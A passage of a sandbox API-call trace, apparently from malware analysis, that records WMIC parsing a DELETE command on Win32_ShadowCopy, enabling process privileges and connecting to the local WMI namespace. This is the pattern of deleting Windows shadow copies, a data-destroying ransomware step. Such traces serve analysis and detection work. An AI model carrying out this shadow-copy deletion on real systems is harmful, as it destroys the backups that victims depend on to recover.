pVal=0x243f630*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2527f10, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.483] free (_Block=0x278ac08) [0279.483] IUnknown:QueryInterface (in: This=0x2527f10, riid=0x166a04*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x243f64c | out: ppvObject=0x243f64c*=0x2527f10) returned 0x0 [0279.483] GetCurrentThreadId () returned 0xd80 [0279.484] ??0CHString@@QAE@XZ () returned 0x243f5c8 [0279.484] malloc (_Size=0xc) returned 0x278ac20 [0279.484] IWbemClassObject:Get (in: This=0x2527f10, wszName="Namespace", lFlags=0, pVal=0x243f5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x243f5b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.484] free (_Block=0x278ac20) [0279.484] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0279.484] malloc (_Size=0x16) returned 0x2782c30 [0279.484] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0279.484] malloc (_Size=0xc) returned 0x278ac38 [0279.484] IWbemClassObject:Get (in: This=0x2527f10, wszName="Locale", lFlags=0, pVal=0x243f5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x252061c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x243f5b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.484] free (_Block=0x278ac38) [0279.484] lstrlenW (lpString="ms_409") returned 6 [0279.484] malloc (_Size=0xe) returned 0x278ac80 [0279.484] lstrlenW (lpString="ms_409") returned 6 [0279.484] malloc (_Size=0xc) returned 0x278ac08 [0279.484] IWbemClassObject:Get (in: This=0x2527f10, wszName="User", lFlags=0, pVal=0x243f5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x252061c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x243f5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.484] free (_Block=0x278ac08) [0279.484] malloc (_Size=0xc) returned 0x278ac98 [0279.484] IWbemClassObject:Get (in: This=0x2527f10, wszName="Password", lFlags=0, pVal=0x243f5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x243f5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.484] free (_Block=0x278ac98) [0279.484] malloc (_Size=0xc) returned 0x278ac08 [0279.485] IWbemClassObject:Get (in: This=0x2527f10, wszName="Server", lFlags=0, pVal=0x243f5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x243f5b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.485] free (_Block=0x278ac08) [0279.485] lstrlenW (lpString=".") returned 1 [0279.485] malloc (_Size=0x4) returned 0x278b5c8 [0279.485] lstrlenW (lpString=".") returned 1 [0279.485] malloc (_Size=0xc) returned 0x278ac08 [0279.485] IWbemClassObject:Get (in: This=0x2527f10, wszName="Authority", lFlags=0, pVal=0x243f5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x252061c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x243f5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.485] free (_Block=0x278ac08) [0279.485] ??1CHString@@QAE@XZ () returned 0x710965f8 [0279.485] IUnknown:Release (This=0x2527f10) returned 0x1 [0279.485] GetCurrentThreadId () returned 0xd80 [0279.485] ??0CHString@@QAE@XZ () returned 0x243f5bc [0279.485] malloc (_Size=0xc) returned 0x278ac50 [0279.485] IWbemClassObject:Get (in: This=0x2527d78, wszName="__RELPATH", lFlags=0, pVal=0x243f5a4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x243f5a4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.485] free (_Block=0x278ac50) [0279.485] malloc (_Size=0xc) returned 0x278ac98 [0279.485] GetCurrentThreadId () returned 0xd80 [0279.485] ??0CHString@@QAE@XZ () returned 0x243f538 [0279.485] ??0CHString@@QAE@PBG@Z () returned 0x243f52c [0279.486] ??0CHString@@QAE@ABV0@@Z () returned 0x243f4b4 [0279.486] ?Empty@CHString@@QAEXXZ () returned 0x710965f8 [0279.486] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x278b5d8 [0279.486] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0279.486] ?Left@CHString@@QBE?AV1@H@Z () returned 0x243f4ac [0279.486] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x243f4b0 [0279.486] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x243f52c [0279.486] ??1CHString@@QAE@XZ () returned 0x1 [0279.486] ??1CHString@@QAE@XZ () returned 0x1 [0279.486] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x243f4a8 [0279.486] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x243f4b4 [0279.486] ??1CHString@@QAE@XZ () returned 0x1 [0279.486] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x278b640 [0279.486] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0279.486] ?Left@CHString@@QBE?AV1@H@Z () returned 0x243f4ac [0279.486] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x243f4b0 [0279.486] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x243f52c [0279.486] ??1CHString@@QAE@XZ () returned 0x1 [0279.486] ??1CHString@@QAE@XZ () returned 0x1 [0279.486] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x243f4a8 [0279.486] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x243f4b4 [0279.486] ??1CHString@@QAE@XZ () returned 0x710965f8 [0279.486] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x710965ec [0279.486] ??1CHString@@QAE@XZ () returned 0x710965f8 [0279.486] malloc (_Size=0xc) returned 0x278ac20 [0279.486] malloc (_Size=0xc) returned 0x278acb0 [0279.486] malloc (_Size=0xc) returned 0x278acc8 [0279.486] malloc (_Size=0xc) returned 0x278ac38 [0279.486] malloc (_Size=0xc) returned 0x278ac08 [0279.487] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0279.487] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0279.487] malloc (_Size=0xc) returned 0x278ac50 [0279.487] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0279.487] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0279.487] malloc (_Size=0xc) returned 0x278a938 [0279.487] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0279.487] SysStringLen (param_1="\"") returned 0x1 [0279.487] free (_Block=0x278ac50) [0279.487] free (_Block=0x278ac08) [0279.487] free (_Block=0x278ac38) [0279.487] free (_Block=0x278acc8) [0279.487] free (_Block=0x278acb0) [0279.487] free (_Block=0x278ac20) [0279.487] IWbemServices:GetObject (in: This=0x252a258, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x243f548*=0x0, ppCallResult=0x0 | out: ppObject=0x243f548*=0x2528470, ppCallResult=0x0) returned 0x0 [0279.735] malloc (_Size=0xc) returned 0x278acc8 [0279.735] IWbemClassObject:Get (in: This=0x2528470, wszName="Text", lFlags=0, pVal=0x243f510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x243f510*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25275b0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x24fbaa0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.735] free (_Block=0x278acc8) [0279.735] SafeArrayGetLBound (in: psa=0x25275b0, nDim=0x1, plLbound=0x243f524 | out: plLbound=0x243f524) returned 0x0 [0279.735] SafeArrayGetUBound (in: psa=0x25275b0, nDim=0x1, plUbound=0x243f520 | out: plUbound=0x243f520) returned 0x0 [0279.735] SafeArrayGetElement (in: psa=0x25275b0, rgIndices=0x243f53c, pv=0x243f534 | out: pv=0x243f534) returned 0x0 [0279.735] malloc (_Size=0xc) returned 0x278acb0 [0279.735] malloc (_Size=0xc) returned 0x278acc8 [0279.735] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0279.735] free (_Block=0x278acb0) [0279.736] IUnknown:Release (This=0x2528470) returned 0x0 [0279.736] free (_Block=0x278a938) [0279.736] ??1CHString@@QAE@XZ () returned 0x1 [0279.736] ??1CHString@@QAE@XZ () returned 0x710965f8 [0279.736] free (_Block=0x278ac98) [0279.736] ??1CHString@@QAE@XZ () returned 0x710965f8 [0279.736] lstrlenW (lpString="Shadow copy management.") returned 23 [0279.736] malloc (_Size=0x30) returned 0x278b5d8 [0279.736] lstrlenW (lpString="Shadow copy management.") returned 23 [0279.736] free (_Block=0x278acc8) [0279.736] IUnknown:Release (This=0x2527d78) returned 0x0 [0279.736] free (_Block=0x278ac68) [0279.736] ??1CHString@@QAE@XZ () returned 0x710965f8 [0279.736] lstrlenW (lpString="PATH") returned 4 [0279.736] lstrlenW (lpString="DELETE") returned 6 [0279.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0279.736] lstrlenW (lpString="WHERE") returned 5 [0279.736] lstrlenW (lpString="DELETE") returned 6 [0279.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0279.736] lstrlenW (lpString="(") returned 1 [0279.736] lstrlenW (lpString="DELETE") returned 6 [0279.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0279.736] lstrlenW (lpString="/") returned 1 [0279.736] lstrlenW (lpString="DELETE") returned 6 [0279.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0279.736] lstrlenW (lpString="-") returned 1 [0279.737] lstrlenW (lpString="DELETE") returned 6 [0279.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0279.737] malloc (_Size=0xc) returned 0x278ac68 [0279.737] lstrlenW (lpString="GET") returned 3 [0279.737] lstrlenW (lpString="DELETE") returned 6 [0279.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0279.737] lstrlenW (lpString="LIST") returned 4 [0279.737] lstrlenW (lpString="DELETE") returned 6 [0279.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0279.737] lstrlenW (lpString="SET") returned 3 [0279.737] lstrlenW (lpString="DELETE") returned 6 [0279.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0279.737] lstrlenW (lpString="CREATE") returned 6 [0279.737] lstrlenW (lpString="DELETE") returned 6 [0279.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0279.737] lstrlenW (lpString="CALL") returned 4 [0279.737] lstrlenW (lpString="DELETE") returned 6 [0279.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0279.737] lstrlenW (lpString="ASSOC") returned 5 [0279.737] lstrlenW (lpString="DELETE") returned 6 [0279.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0279.737] lstrlenW (lpString="DELETE") returned 6 [0279.737] lstrlenW (lpString="DELETE") returned 6 [0279.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0279.737] free (_Block=0x278ac68) [0279.737] lstrlenW (lpString="/") returned 1 [0279.737] lstrlenW (lpString="DELETE") returned 6 [0279.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0279.738] lstrlenW (lpString="-") returned 1 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] malloc (_Size=0xe) returned 0x278ac98 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] lstrlenW (lpString="GET") returned 3 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0279.738] lstrlenW (lpString="LIST") returned 4 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0279.738] lstrlenW (lpString="SET") returned 3 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0279.738] lstrlenW (lpString="CREATE") returned 6 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0279.738] lstrlenW (lpString="CALL") returned 4 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0279.738] lstrlenW (lpString="ASSOC") returned 5 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] lstrlenW (lpString="DELETE") returned 6 [0279.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0279.738] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0279.738] malloc (_Size=0x3e) returned 0x278b610 [0279.738] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0279.738] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xcfa5596e | out: _String="Select", _Context=0xcfa5596e) returned="Select" [0279.739] malloc (_Size=0xc) returned 0x278acb0 [0279.739] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xcfa5596e | out: _String=0x0, _Context=0xcfa5596e) returned="*" [0279.739] lstrlenW (lpString="FROM") returned 4 [0279.739] lstrlenW (lpString="*") returned 1 [0279.739] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0279.739] malloc (_Size=0xc) returned 0x278ac38 [0279.739] free (_Block=0x278acb0) [0279.739] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xcfa5596e | out: _String=0x0, _Context=0xcfa5596e) returned="from" [0279.739] lstrlenW (lpString="FROM") returned 4 [0279.739] lstrlenW (lpString="from") returned 4 [0279.739] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0279.739] malloc (_Size=0xc) returned 0x278acb0 [0279.739] free (_Block=0x278ac38) [0279.739] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xcfa5596e | out: _String=0x0, _Context=0xcfa5596e) returned="Win32_ShadowCopy" [0279.739] malloc (_Size=0xc) returned 0x278ac38 [0279.739] free (_Block=0x278acb0) [0279.739] free (_Block=0x278b610) [0279.739] free (_Block=0x278ac38) [0279.739] lstrlenW (lpString="SET") returned 3 [0279.739] lstrlenW (lpString="DELETE") returned 6 [0279.739] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0279.739] lstrlenW (lpString="CREATE") returned 6 [0279.739] lstrlenW (lpString="DELETE") returned 6 [0279.739] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0279.740] free (_Block=0x278adc8) [0279.740] malloc (_Size=0x4) returned 0x278adc8 [0279.740] lstrlenW (lpString="GET") returned 3 [0279.740] lstrlenW (lpString="DELETE") returned 6 [0279.740] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0279.740] lstrlenW (lpString="LIST") returned 4 [0279.740] lstrlenW (lpString="DELETE") returned 6 [0279.740] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0279.740] lstrlenW (lpString="ASSOC") returned 5 [0279.740] lstrlenW (lpString="DELETE") returned 6 [0279.740] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0279.740] WbemLocator:IUnknown:AddRef (This=0x24f37b8) returned 0x3 [0279.740] free (_Block=0x2782688) [0279.740] lstrlenW (lpString="") returned 0 [0279.740] lstrlenW (lpString="NQDPDE") returned 6 [0279.740] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0279.740] lstrlenW (lpString="NQDPDE") returned 6 [0279.740] malloc (_Size=0xe) returned 0x278acc8 [0279.740] lstrlenW (lpString="NQDPDE") returned 6 [0279.740] GetCurrentThreadId () returned 0xd80 [0279.740] GetCurrentProcess () returned 0xffffffff [0279.740] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x243f6c8 | out: TokenHandle=0x243f6c8*=0x2f8) returned 1 [0279.740] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x243f6c4 | out: TokenInformation=0x0, ReturnLength=0x243f6c4) returned 0 [0279.740] malloc (_Size=0x118) returned 0x278b610 [0279.740] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x3, TokenInformation=0x278b610, TokenInformationLength=0x118, ReturnLength=0x243f6c4 | out: TokenInformation=0x278b610, ReturnLength=0x243f6c4) returned 1 [0279.740] AdjustTokenPrivileges (in: TokenHandle=0x2f8, DisableAllPrivileges=0, NewState=0x278b610*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0279.740] free (_Block=0x278b610) [0279.740] CloseHandle (hObject=0x2f8) returned 1 [0279.741] lstrlenW (lpString="GET") returned 3 [0279.741] lstrlenW (lpString="DELETE") returned 6 [0279.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0279.741] lstrlenW (lpString="LIST") returned 4 [0279.741] lstrlenW (lpString="DELETE") returned 6 [0279.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0279.741] lstrlenW (lpString="SET") returned 3 [0279.741] lstrlenW (lpString="DELETE") returned 6 [0279.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0279.741] lstrlenW (lpString="CALL") returned 4 [0279.741] lstrlenW (lpString="DELETE") returned 6 [0279.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0279.741] lstrlenW (lpString="ASSOC") returned 5 [0279.741] lstrlenW (lpString="DELETE") returned 6 [0279.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0279.741] lstrlenW (lpString="CREATE") returned 6 [0279.741] lstrlenW (lpString="DELETE") returned 6 [0279.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0279.741] lstrlenW (lpString="DELETE") returned 6 [0279.741] lstrlenW (lpString="DELETE") returned 6 [0279.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0279.741] malloc (_Size=0xc) returned 0x278ac38 [0279.741] lstrlenA (lpString="") returned 0 [0279.741] malloc (_Size=0x2) returned 0x2782688 [0279.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b74, cbMultiByte=-1, lpWideCharStr=0x2782688, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0279.741] free (_Block=0x2782688) [0279.741] malloc (_Size=0xc) returned 0x278acb0 [0279.741] lstrlenA (lpString="") returned 0 [0279.742] malloc (_Size=0x2) returned 0x2782688 [0279.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b74, cbMultiByte=-1, lpWideCharStr=0x2782688, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0279.742] free (_Block=0x2782688) [0279.742] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0279.742] malloc (_Size=0x3e) returned 0x278b610 [0279.742] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0279.742] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xcfa55926 | out: _String="Select", _Context=0xcfa55926) returned="Select" [0279.742] malloc (_Size=0xc) returned 0x278ac50 [0279.742] free (_Block=0x278acb0) [0279.742] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xcfa55926 | out: _String=0x0, _Context=0xcfa55926) returned="*" [0279.742] lstrlenW (lpString="FROM") returned 4 [0279.742] lstrlenW (lpString="*") returned 1 [0279.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0279.742] malloc (_Size=0xc) returned 0x278ac68 [0279.742] free (_Block=0x278ac50) [0279.742] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xcfa55926 | out: _String=0x0, _Context=0xcfa55926) returned="from" [0279.742] lstrlenW (lpString="FROM") returned 4 [0279.742] lstrlenW (lpString="from") returned 4 [0279.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0279.745] malloc (_Size=0xc) returned 0x278ac50 [0279.745] free (_Block=0x278ac68) [0279.745] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xcfa55926 | out: _String=0x0, _Context=0xcfa55926) returned="Win32_ShadowCopy" [0279.745] malloc (_Size=0xc) returned 0x278ac08 [0279.745] free (_Block=0x278ac50) [0279.745] free (_Block=0x278b610) [0279.745] malloc (_Size=0xc) returned 0x278ac68 [0279.746] malloc (_Size=0xc) returned 0x278acb0 [0279.746] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0279.746] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0279.746] free (_Block=0x278ac38) [0279.746] free (_Block=0x278ac68) [0279.746] ??0CHString@@QAE@XZ () returned 0x243f668 [0279.746] GetCurrentThreadId () returned 0xd80 [0279.746] malloc (_Size=0xc) returned 0x278ac20 [0279.747] malloc (_Size=0xc) returned 0x278ac38 [0279.747] malloc (_Size=0xc) returned 0x278ac50 [0279.747] malloc (_Size=0xc) returned 0x278ac68 [0279.747] malloc (_Size=0xc) returned 0x278aad0 [0279.747] SysStringLen (param_1="\\\\") returned 0x2 [0279.747] SysStringLen (param_1="NQDPDE") returned 0x6 [0279.747] malloc (_Size=0xc) returned 0x278ab18 [0279.747] SysStringLen (param_1="\\\\NQDPDE") returned 0x8 [0279.747] SysStringLen (param_1="\\") returned 0x1 [0279.747] malloc (_Size=0xc) returned 0x278a938 [0279.747] SysStringLen (param_1="\\\\NQDPDE\\") returned 0x9 [0279.747] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0279.747] free (_Block=0x278ab18) [0279.747] free (_Block=0x278aad0) [0279.747] free (_Block=0x278ac68) [0279.747] free (_Block=0x278ac50) [0279.747] free (_Block=0x278ac38) [0279.748] free (_Block=0x278ac20) [0279.748] malloc (_Size=0xc) returned 0x278ac20 [0279.748] malloc (_Size=0xc) returned 0x278ac38 [0279.748] malloc (_Size=0xc) returned 0x278ac50 [0279.748] WbemLocator:IWbemLocator:ConnectServer (in: This=0x24f37b8, strNetworkResource="\\\\NQDPDE\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1a8564 | out: ppNamespace=0x1a8564*=0x252a618) returned 0x0 [0280.713] free (_Block=0x278ac50) [0280.713] free (_Block=0x278ac38) [0280.713] free (_Block=0x278ac20) [0280.713] CoSetProxyBlanket (pProxy=0x252a618, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0280.714] free (_Block=0x278a938) [0280.714] ??1CHString@@QAE@XZ () returned 0x710965f8 [0280.714] ??0CHString@@QAE@XZ () returned 0x243f658 [0280.714] GetCurrentThreadId () returned 0xd80 [0280.714] malloc (_Size=0xc) returned 